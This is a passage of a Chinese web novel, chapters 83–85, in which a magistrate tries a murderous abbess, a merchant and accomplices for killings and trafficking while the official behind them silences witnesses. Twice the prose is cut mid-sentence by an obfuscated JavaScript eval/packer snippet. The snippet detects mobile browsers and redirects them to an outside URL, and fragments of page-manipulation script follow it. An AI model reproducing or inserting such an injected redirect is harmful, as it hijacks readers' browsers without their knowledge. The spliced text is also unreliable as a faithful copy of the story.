静尘抬起头，泪流满面，却目光坚定：“那棵枣树还在，树下埋着了尘师父的尸骨。师父身上穿的尼袍袖口的位置，有我绣的一朵小小莲花，当时我女红不精，师父还笑话我绣艺的难看，但师父却一直穿着这件尼袍。大人若不信，可派人去挖。八年的尸骨，骗不了人。” 赵明远点了点头，转向水仙姑：“水氏，静尘所言，可是实情？” 水仙姑跪在那里，脸上的笑已经敛去了。她盯着静尘，那目光冷得像毒蛇，又带着一丝说不清的复杂。 “是又如何？”她忽然开口，声音冷得像冰，“那老东西不识相，非要挡我的路。她不挡路，就不会死。” 堂下一片哗然。 赵明远一拍惊堂木：“大胆！” 水仙姑冷笑一声：“大人，您不用吓我。我杀了人，我认。可您问问这些人，他们手上哪个没沾血？王兆贵，他害死的那些女子，难道比我少？静非，她帮我埋人，帮我骗那些可怜的女子进地窖，她手上干净吗？” 静非被她点名，整个人抖得更厉害了，头几乎埋进胸口。 水仙姑又看向崔娘子：“还有她！二十三条人命，她背得动吗？” 崔娘子趴在地上，一动不动，像是死了一般。 赵明远沉声道：“水氏，你既认罪，便将所犯罪行一一招来。杀害了尘、拐卖妇女、勾结王兆贵——桩桩件件，从实招来。” 水仙姑沉默片刻，忽然笑了。那笑容里满是嘲讽，又带着一丝说不清的悲凉。 “招？”她说，“我招了，能减罪吗？” 赵明远冷冷道：“罪无可减，但可死得体面些。” 水仙姑愣了愣，随即大笑起来。那笑声在公堂上回荡，听得人脊背发寒。 “好，好。”她笑够了，才慢慢开口，“我招。了尘是我杀的，那些女子是我骗来的，王兆贵帮我运出去的，静非帮我做事的。还有什么？哦，还有那些账本，那些信件，都是我留着的，防的就是有一天被人卖了。” 水仙姑又看向静非：“静非，你不是说会替我顶罪吗？怎么，一上堂就吓得屁滚尿流？” 静非缩成一团，连头都不敢抬。 水仙姑最后看向崔娘子，那目光里，满是复杂的情绪。有恨，有怨，还有一丝说不清的……怜悯？ “玉娘，”她轻声道，“曾经在翠玉楼，我虽对你不善，可我也只是骂你几句，何时对你动过手？你自己心中有恶念，就不要推卸责任为自己开脱。你推脱不掉的，今后的黄泉路上我们一起作伴吧！”说着她哈哈哈大笑起来。笑声传遍整个审庭。 崔娘子趴在地上，一动不动。 赵明远又一拍惊堂木：“带人犯王兆贵！” 王兆贵被押上前。他跪在那里，低着头，不敢看任何人。往日那个在归平县横行霸道的王大官人，此刻狼狈得像一条丧家之犬。 赵明远盯着他，沉声道：“王兆贵，水氏所言，勾结略卖妇女之事，你可认罪？” 王兆贵抬起头，嘴唇动了动，却说不出话来。 “王兆贵！”赵明远一拍惊堂木，“还不从实招来！” 王兆贵一个激灵，终于开口：“我……我认。那些女子，是我让人运出去的。走水路，送到北边。可我只是……只是替人办事的！不是我主使的！” “替谁办事？” 王兆贵张了张嘴，却没有说出那个名字。 水仙姑在一旁冷笑：“怎么，不敢说？你那兄弟的干爹崔琰，不就是你的后台吗？你不是说，有他在，谁也动不了你吗？” 王兆贵猛地转头看向她，眼中满是惊恐和愤怒。他想骂她，却不敢开口。那两个字一旦说出来，就再也收不回去了。 赵明远盯着他，一字一句道：“王兆贵，你若从实招来，指认主使之人，或可减轻罪责。若执迷不悟，包庇真凶，罪加一等！” 王兆贵的脸上闪过一丝挣扎。他想说，又不敢说。他想起崔琰的手段，想起那些“意外”死去的人，想起自己还在牢里的弟弟…… “我……”他张了张嘴，最终还是低下头，“我不知道。那些女子，是我让人运的，可我不知道送去哪里，不知道谁要的。我只是……只是拿钱办事。” 水仙姑嗤笑一声：“怂货。” 赵明远没有再追问。他转向静非：“静非，你可有话说？” 静非跪在那里，浑身抖得像筛糠。她不敢看任何人，只敢盯着自己的膝盖。水仙姑的话、王兆贵的话、静尘的话，像刀子一样扎在她心上。 她想起那夜，了尘瞪大的眼睛。想起那些被她骗进地窖的女子绝望的眼神。想起自己这些年做的那些事…… “贫尼……贫尼……”她终于开口，声音沙哑得像破锣，“贫尼认罪。了尘师父是贫尼帮着埋的，那些女子是贫尼帮着骗的。贫尼……贫尼也是被逼的……” “被逼？”水仙姑冷笑，“我逼你了吗？那些银子，你不是拿得挺欢吗？” 静非浑身一颤，不敢接话。 赵明远沉声道：“静非，将你所知之事，从实招来。” 静非跪在那里，好半天才断断续续地说起来。说了尘被杀那夜的经过，说那些年被骗来的女子，说水仙姑和王兆贵的勾结，说她帮水仙姑做的那些事…… 她说得颠三倒四，可每一句，都是真的。 堂下一片寂静。只有静非的声音，断断续续地回荡。 赵明远听完，点了点头，让人将供状递到她面前。 “画押。” 静非颤颤巍巍地接过笔，在那张供状上画了押。她的手抖得厉害，那个押画 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许娇娇迎着他的目光，唇角微微扬起。 她没有说话。可那笑容，已经足够。 赵斌走过来，低声道：“阿宴，差不多了，该回去了。” 裴宴点了点头，最后看了许娇娇一眼，转身离去。 许娇娇站在公堂上，看着他的背影消失在门外，久久未动。 “娇杏。”静尘轻轻拉了拉她的袖子，“咱们也回去吧。” 许娇娇回过神，点了点头。 两人走出府衙，秋日的阳光洒在身上，暖融融的。街上人来人往，与往常无异。可许娇娇知道，有些东西，已经不一样了。 了尘师父的冤屈昭雪了。那些被拐卖的女子，终于可以瞑目了。水仙姑、静非、王兆贵，都要为他们做下的事付出代价。 而那个人，还在查着更大的案子。 许娇娇抬起头，望向城北的方向。那里，是钦差行辕的所在。 她不知道，等待他的，是什么。 但她知道，他会赢。 暮色渐渐降临，柳枝巷的小院里点起了灯。 静尘坐在槐树下，望着天边最后一抹晚霞，久久没有动。静心在一旁陪着，也不说话。 许娇娇端着两碗茶出来，递给她们一人一碗。 “师姐，”她在静尘身边坐下，轻声道，“想什么呢？” 静尘接过茶，沉默片刻，才道：“想师父。” 许娇娇没有说话，只是静静听着。 静尘继续道：“师父待我像亲生女儿一样。我进水月庵的时候，才六岁，什么都不懂。是师父教我认字，教我读经，教我做人的道理。她说，咱们虽然是尼姑，可也是人，要堂堂正正地活着。” 她的声音有些哽咽，却还在说：“可我没能救她。我看到她喝了那杯茶倒下了，我却以为真的像水仙姑说的那样，师父有心悸。后来，我时常想起，有所怀疑，但我不敢去问水仙姑，我怕我也死了，就没人知道真相了。” 许娇娇握住她的手，轻声道：“师姐，你已经做到了。你活着，等到了今天。” 静尘点了点头，眼泪无声地流了下来。 静心在一旁，也红了眼眶。她想起自己被关在地窖里的那些日子，想起那些和她一起被关着的女子，想起那些再也没能出来的…… “都过去了。”许娇娇轻声道，像是说给她们听，也像是说给自己听。 夜风吹过，带着深秋的凉意。槐树的叶子沙沙作响，飘落几片，落在她们肩头。 旺财从窝里爬起来，走到静尘身边，用脑袋蹭了蹭她的腿。 静尘低头看着它，忽然笑了。那笑容里，有泪，也有释然。 “旺财说，”她轻声道，“天黑了，该吃饭了。” 许娇娇也笑了，站起身，拉着她们往屋里走。 “走，吃饭去。” 84. 第84章公堂对质（三） 十月初九，菰城府衙的公堂外，天不亮就挤满了人。 昨日那场公审，已经传遍了全城。水月庵的妖尼姑竟是京城翠玉楼逃出来的头牌，崔家娘子竟是十年前京城翠玉楼那场大火的真凶。这些消息像长了翅膀，飞进街头巷尾，飞进茶楼酒肆，飞进每一个寻常百姓家。今日天还没亮，就有人搬着小板凳来占位置，卖吃食的挑着担子在人群里穿梭，茶楼的伙计干脆把茶桌搬到了府衙对面，一边卖茶一边看热闹。 “听说了吗？今日要审那个赵大的案子！” “哪个赵大？” “青坑村的那个！他媳妇难产死了，一尸两命，他前些日子也被人害了！听说是那个妖尼姑指使人干的！” “造孽啊！那可是一条人命！” “可不嘛！听说那案子还有隐情，那个许小大夫今天要亲自上堂对质。” “你说的是在水患中救人无数的那个许小大夫？” “就是她？” “她不是受害人吗？怎么还要上堂？” “你懂什么，她是证人。听说当初是有人假扮她，害死了赵大媳妇。” 议论声嗡嗡作响，像一群蜜蜂在人群里乱撞。 公堂上，一切如旧。 赵明远坐在公案后，面色沉静。裴宴依旧坐在左侧的太师椅上，一身玄色常服，面容冷峻如常。赵斌抱臂站在右侧，一双眼睛鹰隼般盯着堂下。 今日审的还是水仙姑、崔娘子、静非、王兆贵。他们被依次押了上来，跪在堂下。 许娇娇站在堂下证人席上，一身素净的月白色衣裙，头发简单绾在脑后，脸上没试脂粉，却自有一种沉静的气度。她身旁站着静尘，也是一身素衣，面色平静。 赵明远一拍惊堂木：“今日开审，审理青坑村赵门王氏难产致死一案。带苦主家属。” 赵大的寡嫂被带了上来。她今日没穿孝服，只一身粗布衣裙，脸色蜡黄，眼眶红肿，一进堂就跪了下去，浑身发抖。 “民妇……民妇赵门孙氏，见过青天大老爷。” 她的声音抖得厉害，头都不敢抬。 赵明远看着她，沉声道：“孙氏，你前几日状告许氏见死不救，致赵门王氏母子双亡。今日可还有话要说？” 孙氏浑身一颤，嘴唇哆嗦着，却说不出话来。 赵明远又一拍惊堂木：“孙氏，本官问你话！” 孙氏一个激灵，终于开口：“民妇……民妇被人骗了！那日去张记闹事，是有人给了民妇银子，让民妇去哭，去骂，去告那个许娘子！民妇不知道……不知道那是假的……” 她说着说着，哭了起来，趴在地上磕头如捣蒜：“青天大老爷饶命！民妇也是被逼的！民妇男人死得早，家里就指着那点银子过活，他们说给民妇十两银，让民妇去哭一场，民妇就……就……” 赵明远冷冷道：“给你银子的是谁？” 孙氏颤抖着指向跪在一旁，那里是昨日苟文书的位置，他今日不在堂上。 原来，苟文书昨日生病了，不知道是不是吃的东西不干净，他如今正在府衙后面的一间偏房躺着，由专人守着，几个大夫轮流诊治。 她的手悬在半空，不知该指向何处。 “是……是……”她结结巴巴地说不出话来。 赵明远没有再追问，只道：“带人犯静非。” 静非被押上前。她比昨日更加憔悴，整个人缩成一团，连跪都跪不稳。从被押上堂的那一刻起，她就不敢抬头，不敢看任何人。 “静非，”赵明远的声音从头顶压下来，“赵大媳妇难产那夜，是你假扮许氏，骗走了赵大。此事可是实情？” 静非浑身一颤，好半天才发出声音：“是……是贫尼。” “何人指使？” 静非没有回答。她低着头，肩膀剧烈地颤抖。 “静非！”赵明远一拍惊堂木，“本官问你，何人指使！” 静非猛地抬起头，目光不由自主地飘向跪在一旁的水仙姑。水仙姑正看着她，那目光冷得像毒蛇，带着威胁，带着警告。 可静非知道，自己已经没有退路了。 “是……是水仙姑。”她终于开口，声音沙哑得像破锣，“是她让贫尼假扮许娘子的。她说……说那夜赵大会来求医，让贫尼守在必经之路上，戴上斗笠，假扮成许娘子，把赵大骗走。” 水仙姑冷笑一声，没有说话。 赵明远继续问：“她为何要这样做？” 静非的声音更低了：“她说……说许娘子坏了她的好事，她要让许娘子身败名裂，让所有人都以为许娘子是个见死不救的毒妇。那夜赵大媳妇难产，正好是个机会。只要赵大媳妇死了，许娘子就跳进黄河也洗不清。” 堂下一片哗然。 许娇娇站在证人席上，面色平静。这些话，她早就知道。可此刻从静非嘴里说出来，还是让她心里涌起一股复杂的情绪。 为了陷害她，水仙姑不惜让一个孕妇活活疼死，让一个未出世的孩子胎死腹中。 两条人命。 只因为她“坏了她的好事”。 赵明远沉声道：“静非，那夜你假扮许氏，对赵大说了什么？” 静非低着头，好半天才道：“贫尼说……说‘这等污秽之事，也配来寻我？我平日行医济世，那是积德行善。妇人产育，血光冲天，最是晦气。我清清白白一个未出阁的女子，沾了这晦气，往后还怎么说亲？你且回去吧，生死有命。’” 堂下又是一阵骚动。有人骂道：“这话也太毒了！” 赵明远看向许娇娇：“许氏，你可有话要说？” 许娇娇上前一步，敛衽行礼，声音不高，却字字清晰：“民女只有一句话，若民女真说出这等话，那民女就不配行医，更不配做人。民女行医以来，救治过多少妇人产妇，疫病期间日以继夜，从不曾有过半分嫌弃。此话若是民女所说，天打雷劈，不得好死。” 她顿了顿，看向跪在地上的静非，目光平静：“可这话不是我说的，是静非说的。她假冒我的名义，害死了两条人命，又害得赵大被人灭口。这笔账，今日该算清了。” 静非被她看得浑身发抖，低下头，不敢与她对视。 赵明远又一拍惊堂木：“带人犯王兆贵！” 王兆贵被押上前。他跪在那里，低着头，不敢看任何人。往日那个在归平县横行霸道的王大官人，此刻狼狈得像一条丧家之犬。 赵明远盯着他，一字一句道：“王兆贵，赵大被人灭口一案，你可知情？” 王兆贵浑身一颤，抬起头，嘴唇动了动，却说不出话来。 水仙姑在一旁冷笑：“说啊，你不是挺能的吗？怎么，不敢说了？” 王兆贵猛地转头看向她，眼中满是惊恐和愤怒。他想骂她，可张了张嘴，一个字都骂不出来。 赵明远沉声道：“王兆贵，本官问你，赵大是不是你的人杀的？” 王兆贵一个激灵，终于开口：“是……是我的人。” “何人指使？” 王兆贵沉默片刻，目光不由自主地飘向水仙姑。水仙姑正看着他，那目光冷得像冰，却又带着一丝说不清的意味。 “是……是水仙姑。”他低下头，终于说了出来，“她说赵大是个祸害，留着他迟早出事。让我派人去把他带走，处理干净。” “处理干净”四个字，他说得很轻，可在寂静的公堂上，每个人都听得清清楚楚。 赵明远的声音更冷了：“怎么处理的？” 王兆贵低着头，声音越来越低：“让人……用石头砸死了。然后扔在山脚下，让人以为是意外。” 堂下一片哗然。有人骂道：“畜生！”有人啐了一口：“这种人该千刀万剐！” 赵明远一拍惊堂木，压下议论声，继续问：“动手的是谁？” 王兆贵道：“是我庄上的管事，姓孙的。他……他也被抓了，关在大牢里。” 赵明远点了点头，让人将供状递到他面前。 “画押。” 王兆贵颤颤巍巍地接过笔，在那张供状上画了押。他的手抖得厉害，那个押画得歪歪扭扭，像他那颗早已歪了的心。 水仙姑跪在一旁，冷眼看着，嘴角始终挂着那抹诡异的笑。 赵明远转向她：“水氏，王兆贵所言，可是实情？” 水仙姑笑了。那笑容里满是嘲讽，又带着一丝说不清的疯狂。 “是又如何？”她说，“赵大那个蠢货，留着也是祸害。他不死，早晚会把事情抖出来。他死了，一了百了。” “你！”许娇娇忽然开口，声音里带着压抑不住的怒意，“两条人命还不够，你还要杀第三个！赵大媳妇死了，孩子死了，赵大也死了！三条人命！在你眼里，人命就这么不值钱？” 水仙姑看着她，忽然笑得更厉害了。 “三条人命？”她笑着笑着，眼泪都流了出来，“小丫头，你知道我手上多少条人命吗？了尘一条，那些被卖掉的女子，死在地窖里的，死在路上的，死在北边的——你知道有多少？二十？三十？五十？我自己都数不清了。” 她顿了顿，眼中闪过一丝疯狂的光：“三条人命算什么？赵大算什么？他媳妇算什么？那个没出生的孩子算什么？我告诉你，小丫头，这世道，人命本来就不值钱。你可怜他们，谁来可怜我？” 许娇娇看着她，忽然觉得无话可说。 这个女人，已经疯了。 不是那种大喊大叫的疯，而是一种彻底的、绝望的疯。在她眼里，杀人就像喝水吃饭一样自然，人命就像路边的草芥一样轻贱。 赵明远又一拍惊堂木，正要说话，忽然—— 堂外传来一阵急促的脚步声。 众人回头望去，只见一个穿着青衣的年轻男子快步走进公堂。他面容普通，可那双眼睛锐利得像鹰。 他走到裴宴身边，俯下身，在他耳边低语了几句。 裴宴的眸光骤然一凝。 那变化极快，快得几乎没人察觉。可许娇娇看见了。她站在证人席上，一直用眼角的余光关注着那个人。她看见他的手指在椅背上轻轻叩击了一下。 无痕说完，退后一步，站到一旁。 裴宴沉默片刻，忽然站起身。他向赵明远点了点头，低声道：“赵参军，本官有些急事，先退一步。你继续审。” 赵明远愣了愣，随即拱手道：“帅使请便。” 裴宴转身，大步往外走去。经过许娇娇身边时，他的脚步顿了顿，目光在她脸上停留了一瞬。 那一眼，很复杂。有担忧，有安慰，还有一丝说不清的东西。 然后，他走了。 许娇娇站在原地，看着他的背影消失在门外，心里忽然涌起一股不安。 出什么事了？ 公堂外，裴宴大步走出府衙。无痕跟在他身后，长风也快步迎了上来。 “怎么回事？”裴宴的声音压得很低，却冷得像冰。 无痕道：“崔旺找到了。” 裴宴脚步一顿。 “在城外河道里，今早被渔户发现的。”无痕的声音更低了些，“已经泡了一夜，面目都看不清了。仵作验过，说是淹死的。” “淹死的？”裴宴重复着这两个字，目光锐利如刀。 无痕点头：“肺里有水，符合溺水之状。可属下仔细验过那尸体，后脑有一处伤，不重，但足以把人打晕。” 裴宴的眸光骤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17390144|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然一沉。 打晕，再推下水。 不是意外，是谋杀。 “可确认是崔旺？” “确认。”无痕道，“崔娘子已经认过尸了。虽然面目浮肿，但她认得那衣裳，还有他手上的旧伤疤。是他。” 裴宴沉默片刻。 长风上前一步，脸上的神色更加凝重：“郎主，属下正要禀报——王兆仁昨夜在牢里自尽了。” 裴宴的瞳孔微微收缩。 “他不是关押在重刑犯监牢，由专人看守，怎么会轻易死去？” “我们安排的人员三班倒，眼睛都不眨，小的已经问过了，说没有任何人接近他。只是夜半时分，他解了腰带挂在门框上，自己吊死了。”长风接着道，“巡夜的人发现的，身子都凉了。仵作验过，除了脖子上勒痕，没有别的伤。” 裴宴没有说话。 两个消息，同时传来。 崔旺“失足落水”，王兆仁“狱中自尽”。一夜之间，两条人命，消失得干干净净。 太巧了。 巧得让人脊背发寒。 赵斌这时也跟了出来，正好听见长风的话。 “自尽？”赵斌的声音压得很低，却压不住那股怒火，“我亲自安排的人看守，铁桶一般，他怎么可能自尽？” 裴宴没有回头，只沉声道：“仵作验过了？” “验了。说是自己解的腰带，拴在窗棂上，勒死的。”长风接着道。 裴宴沉默着。 “这他娘的！”赵斌骂出声来，声音里满是愤怒，“被灭口了！这他娘的绝对是被灭口了！” 裴宴没有接话。他站在那里，望着灰蒙蒙的天空，脸上没有表情。 赵斌走到他身边，压着火气道：“阿宴，你说话啊！王兆仁是崔琰的心腹，他知道多少事？他这一死，多少证据就断了！还有那个崔旺，他是当年翠玉楼大火的直接参与者！他死了，那条线也断了！” 裴宴依旧没有说话。 长风在一旁低声道：“郎主，小的已经让人去查了。王兆仁死前，没有人接触过他，但有送饭的狱卒，送饭时我们的人都检查了饭菜，饭菜没毒，狱卒也没有夹带。” 无痕接着道：“崔旺出事那晚，也没有别人去过河道。属下已经都沿河道两岸及崔旺去过的地方都查过了。” 裴宴点了点头，终于开口：“那个给王兆仁送饭的狱卒呢？” 长风垂下头：“死了。” 裴宴的目光骤然一凝。 “今早被人发现吊死在柴房里。也是腰带，也是门框。”长风的声音压得很低，带着一丝沮丧。”小的无能。请郎主责罚。” 赵斌彻底忍不住了，又是一拳砸在廊柱上，砸得那柱子都晃了晃。 “他娘的！这他娘的连环套！一个接一个灭口，连传话的都杀！崔琰那个老阉狗，手伸得这么长，连大牢里的人都敢动！” 裴宴转过身，看着他，目光平静得有些吓人。 “无伤，”他说，“你骂够了没有？” 赵斌被他这么一看，愣了一愣，到嘴边的脏话又咽了回去。 裴宴道：“骂没有用。崔琰杀人灭口，说明他急了。他越急，就越容易出错。” 他顿了顿，转向无痕：“孤雁那边有消息吗？” 无痕道：“有。收到飞鸽传书，说崔琰府上有人连夜进出，像是送信的。孤雁跟着其中一人，发现那人去了扬州城外一处农庄。今早那农庄就起了火，烧得干干净净。” 裴宴的眸光一沉。 杀人灭口，销毁证据。 崔琰这是在扫尾。 “农庄里住的是什么人？” 无痕道：“属下正在查。初步打听到，那农庄是崔琰一个远房亲戚名下的，平时住着几个老弱妇孺。尚未查出具体的事物。” 裴宴沉默片刻，缓缓道：“让孤雁继续盯着。崔琰不会就此收手，他还会动。” 无痕抱拳：“是。” 裴宴转身，望向府衙的方向。公堂里还在继续审案，那些人的命运，正在被一一裁定。 可真正的元凶，还在外面逍遥。 “无伤。”他忽然开口。 赵斌上前一步：“阿宴。” “加派人手，看管王兆贵、水仙姑、崔娘子。任何人不得单独接触，送饭送水都要有人盯着。”裴宴的声音冷得像冰，“王兆仁死了，崔旺死了。剩下的这几个，不能再出事了。” “放心，老子这一次绝不会让那帮孙子钻空子。”赵斌狠声道。 “还有许娘子那边，”裴宴接着吩咐长风，“你让暗中盯着的人，让他们小心些。崔琰若狗急跳墙，什么事都做得出来。” 长风心头一凛，重重点头：“小的明白。” 裴宴最后看了一眼灰蒙蒙的天空，转身往行辕的方向走去。 他的背影挺直如松，玄色的袍子在风中微微飘动。 赵斌站在原地，看着他的背影，忽然叹了口气。 “长风，”他说，“你说阿宴这人，心里到底装了多少事？” 长风摇了摇头：“不知道。反正比咱们多。” 赵斌苦笑一声，跟了上去。 公堂内，审理还在继续。 许娇娇站在证人席上，看着静非被画押，看着王兆贵被画押，看着水仙姑那张疯狂的脸。她的心里，五味杂陈。 三条人命，终于有了交代。 可她心里，却没有想象中的轻松。 因为真正的元凶，还没有落网。 她想起方才裴宴离去时那一眼，想起他紧抿的唇角，想起他手指在椅背上那轻轻的一叩。 出事了。 一定出事了。 85. 第85章 宣判 原定于第二日的宣判，竟又拖了两日。 傍晚时分，长风遣了响儿送信来。许娇娇拆开看时，便知昨日的预感果然不虚——信是裴宴匆忙中写的，寥寥数语，说了王兆仁与崔旺的死讯。又说两日后宣判，届时让长风来接她们；她们是苦主，自然该到场。 她捏着信纸，眼前忽然浮起裴宴写信时的模样。俊朗的脸，一脸严肃，眉头大约微微蹙着，笔尖走得很急。 唇角便不自觉地弯了。 心里像是被什么软软的东西撞了一下，暖意从胸口漫开，一直漾到指尖。 两日后，菰城府衙外的长街，从清早起就被围得水泄不通。卖吃食比如昨日好要多，那些挑着担子的商贩人群里穿梭，茶楼的伙计搬出长凳让客人站着看，连对面的屋顶上都爬满了人。 都是来看今日宣判的。 今日公审，震动江南。水月庵的妖尼姑、归平县的王大官人、京城翠玉楼那场烧死二十三人的大火，还有那些被拐卖的女子、那些埋在后山的尸骨。桩桩件件，早已传遍了街头巷尾。 今日，终于要有个结果了。 许娇娇站在人群前方的一块石阶上，旁边是静尘和静心。这个位置是长风一早派人占下的，不高不低，能看清公堂内的情况，又不会被挤着。 她今日穿了一身藕荷色褙子，领口露出寸许杏黄的抹胸，上头绣着两朵小小的并蒂莲。风一吹，裙角扬起，露出同色的罗鞋鞋尖，绣的也是一样的花。发丝梳得整整齐齐，脸上薄施脂粉，唇上擦了口脂。让人看着眼前一亮，静尘和静心也是一身素衣，三人站在一起，像三株静静开放的秋菊。 “人真多啊。”静心小声说，眼睛却一直盯着公堂的方向。 静尘没有说话，只是握紧了手里的佛珠。 许娇娇轻轻拍了拍她的手，没有说话。 辰时正，公堂大门洞开。 两班衙役手持水火棍，分列左右，齐声吆喝。赵明远身着青袍官服，端坐公案之后，面色沉凝如铁。裴宴依旧坐在左侧的太师椅上，一身玄色常服，面容冷峻，眸光如电。 堂下，人犯一字排开。 赵明远一拍惊堂木，沉声道：“带证人宋义！” 堂外一阵骚动。宋义？那是谁？ 许娇娇的心猛地一跳。她想起裴宴曾经提过的那个名字——宋大，本名宋义，宋国公府的远房族人，当年翠玉楼大火那夜，接走罗玉娘的人。 他居然还活着？他居然愿意出堂作证？ 人群自动让开一条路。一个穿着灰扑扑短褐的中年男子被押了上来，约莫四十出头，面容憔悴，眼窝深陷，一看就是在牢里关了些日子的。他走得很慢，每一步都像踩在刀尖上，可那双眼睛，却直直地盯着前方，盯着公堂上那些跪着的人。 “草民宋义，见过青天大老爷。”他跪下磕头，声音沙哑。 赵明远道：“宋义，将你所知之事，从实讲来。” 宋义跪在那里，沉默了片刻，才缓缓开口。那声音不高，却字字清晰，像钝刀子割肉，一下一下割在人心上。 “草民本是宋国公府的远房族人，在府里当差。那时候……那时候草民跟着宋衙内，替他办些……办些不好出面的私事。” “什么私事？”赵明远追问。 宋义低着头，声音更低了些：“就是……替他接人送人，传话跑腿，有时候也帮着平事。草民那时候年轻，觉得能跟着衙内是造化，什么活都接，什么话都听，从不多问。” 堂下一片寂静，只有他的声音在回荡。 “景和十年腊月，崔旺找上了草民。” 赵明远目光一凝：“崔旺？可是崔琰的义子？” 宋义点头：“是。崔旺景和六年曾在宋家田庄做事。那时衙内还小，小人还未到衙内身边。一直到景和七年，草民有一回遇到难事，他帮着草民解决，从此以后，就时常请草民吃酒。一直到景和十年，有一日他又请草民吃酒，期间说有个小忙，想让草民帮衬一把。草民问他什么事，他说腊月二十三那夜，让草民去京城东门瓦子后巷接一个人，接到后就送到城外一个地方，有人接应。” “你可知道接的是什么人？” 宋义抬起头，眼中闪过复杂的情绪。恐惧、后悔、还有一丝说不清的苦涩。 “草民不知道。崔旺没说，草民也没问。草民以为……以为就是寻常的事。那时候替衙内接人送人接多了，这种事草民不当回事。” 他顿了顿，继续说：“腊月二十三那夜，草民驾着马车去了后巷。等了约莫半个时辰，角门忽然开了，一个人影跑了出来。那人穿着粗布衣裳，头发散乱，浑身发抖，一看就是跑出来的丫鬟。” “草民问她是不是崔旺让来的，她点头。草民就让她上车，赶着马车往城外走。走到半路，草民回头看了一眼——那个丫鬟缩在车厢角落里，浑身抖得像筛糠，脸上的泪痕还没干。草民心里犯嘀咕，可也没多想。” “后来呢？” “后来草民把人送到城外，那里停着另一辆马车。草民把人交过去，就回去了。”宋义的声音越来越低，“直到第二天，草民才知道——翠玉楼起火了，烧死了二十三个人。草民起了疑心，一打听，才知道，那个丫鬟就是放火的人。” 堂下一片哗然。 赵明远一拍惊堂木，压下骚动，继续问：“你可知道，崔旺为何要让你去接人？” 宋义摇头：“草民不知道。后来草民问过崔旺，他只说让草民别多问，出了事他兜着。草民心里害怕，可又不敢得罪他，就……就装作什么都没发生。” “后来宋衙内知道了这事？” 宋义点头：“知道了。是崔旺自己说的。那时候草民才知道，崔旺背后还有人。他让草民去接人，不是他自己的主意，是崔琰的吩咐。崔琰要借这件事，把宋家拉下水。” 此言一出，满堂皆惊。 连跪着的水仙姑都抬起了头，眼中闪过异样的光。 宋义继续说：“后来国公爷听说此事，大怒，将草民打了一顿，打发回应天府，让草民改名换姓，永远不许再提这事。草民以为这事就这么过去了，可这些年，草民没睡过一个踏实觉。每次闭上眼，就想起那个丫鬟缩在车厢里发抖的样子，想起那场大火，想起那些死了的人……” 他的声音哽咽了，低下头，肩膀剧烈地颤抖。 “草民知道，草民有罪。草民不该替他们接人，不该装作什么都不知道。可草民……草民也是被逼的……” 赵明远沉默片刻，让宋义画押，押了下去。 堂上，崔娘子跪在那里，整个人像被抽去了骨头。她听着宋义说的那些话，那些她从来不知道的事——原来崔旺找上她，不是偶然；原来那场大火，从一开始就是别人布下的局；原来她以为的救命恩人，不过是把她当成了棋子。 水仙姑忽然笑了。那笑声阴恻恻的，听得人脊背发寒。 “玉娘，听见了吗？你心心念念的那个男人，从一开始就是在利用你。你放那把火，是为了和他双宿双飞，可人家呢？人家只是想借你的手，除掉戴明书那个畜生，顺便把宋家拉下水。” 崔娘子没有抬头，没有回应。她只是跪在那里，一动不动，像一尊泥塑。 水仙姑继续笑：“可怜啊，真可怜。你以为逃出火坑了，结果是从一个火坑跳进另一个火坑。你以为嫁了个好男人，结果人家从头到尾都在骗你。你替他养孩子，替他打理家事，到头来，他甚至连一句话都没留，就死了。” 崔娘子的肩膀开始发抖，可她还是没抬头。 水仙姑还想再说，被差役按住了。 赵明远又一拍惊堂木：“带证人苟文书！” 苟文书被押了上来。他跪在那里，浑身发抖，脸上青一块紫一块——那是被抓时挣扎留下的。他不敢看任何人，只敢低着头。 “苟文书，”赵明远道，“你在王兆仁手下当差多年，可知他所犯罪行？” 苟文书连连点头：“知道知道！小的都知道！” “从实招来！” 苟文书咽了口唾沫，开始说起来。说王兆仁这些年如何收受贿赂，如何包庇他哥哥的生意，如何替崔琰遮掩那些见不得人的勾当。说那些账本、那些信件，他都见过，有些还是他亲手誊抄的。 “王兆仁说过，他干爹崔琰是发运使，手掌江南漕运，得罪不起。那些账目往来，那些人口买卖，都是崔琰在后面撑着，他只是跑腿办事的。他还说，只要抱紧崔琰的大腿，这辈子吃穿不愁……” 堂下的议论声嗡嗡作响。崔琰的名字，今日已经在公堂上出现了无数次。 赵明远又问：“王兆仁可曾提过翠玉楼大火之事？” 苟文书摇头：“这个……这个小的不知道。小的只见过他和崔琰的往来信件，可那些信……那些信都是他亲手烧的。小的什么都不知道。” 赵明远让人记下供词，让苟文书画押。 苟文书被押下去时，浑身抖得像筛糠，连路都走不稳。 堂上重新安静下来。 赵明远站起身，拿起案上那厚厚一沓供状，沉声道：“今日本堂审理归平县水月庵住持水氏，本名水娘。勾结地方豪强，戕害人命，略卖妇女一案；审理景和十年腊月二十三翠玉楼大火一案；审理青坑村赵大及其媳妇王氏被害一案。经三日 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“人犯王兆贵，归平县商人。勾结水氏拐卖妇女；指使手下杀害赵大；包庇纵容其弟王兆仁贪赃枉法。数罪并罚，判斩监候，秋后复审！” 王兆贵跪在那里，浑身发抖，嘴里喃喃着什么，谁也听不清。 “人犯罗氏，原名罗玉儿，景和十年翠玉楼大火真凶。虽受人指使，然亲手纵火，致二十三人死亡，罪无可恕。判斩监候，秋后复审！” 崔娘子趴在地上，一动不动，像死了一般。 堂外的人群一阵骚动。有人叫好，有人叹气，有人只是摇头。 赵明远顿了顿，又继续道：“王兆仁、崔旺二人，虽已身死，然其罪行昭彰，抄没家产，以充公用。崔琰涉嫌指使杀人、贪赃枉法、包庇纵容等罪，着即革职查办，押解进京，交三司会审！” 此言一出，满堂哗然。 